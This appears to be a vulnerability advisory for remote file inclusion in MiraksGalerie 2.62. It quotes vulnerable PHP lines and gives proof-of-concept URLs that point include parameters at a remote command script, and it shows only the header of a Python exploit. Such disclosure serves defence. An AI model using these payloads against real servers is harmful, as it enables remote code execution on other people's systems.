pcltar.lib.php: line 34 - 35

if (!isset($g_pcltar_lib_dir))
$g_pcltar_lib_dir = "lib";
[etc..]

galimage.lib.php: line: 157 - 158

for($i=count($listconfigfile)-1; $i>=0; $i--)

Proof of concept:
http://example/[mg_path]/pcltar.lib.php?g_pcltar_lib_dir=http://example/cmd.php?exec=uname
http://example/[mg_path]/galimage.lib.php?listconfigfile[0]=http://example/cmd.php?exec=uname
http://example/[mg_path]/galsecurity.lib.php?listconfigfile[0]=http://example/cmd.php?exec=uname
you can use too the exploit f_mg-2.62.py
Example sploit:
#!/usr/bin/env python
#
# MiraksGalerie <= 2.62 Multiple Remote command execution
# python f_mg-2.62.py <remote_addr> <remote_port> <remote_path>
<remote_cmd> <command>
#
# Federico Fazzi <federico@...istici.org>
# more info see advisory.
# need register_global = On
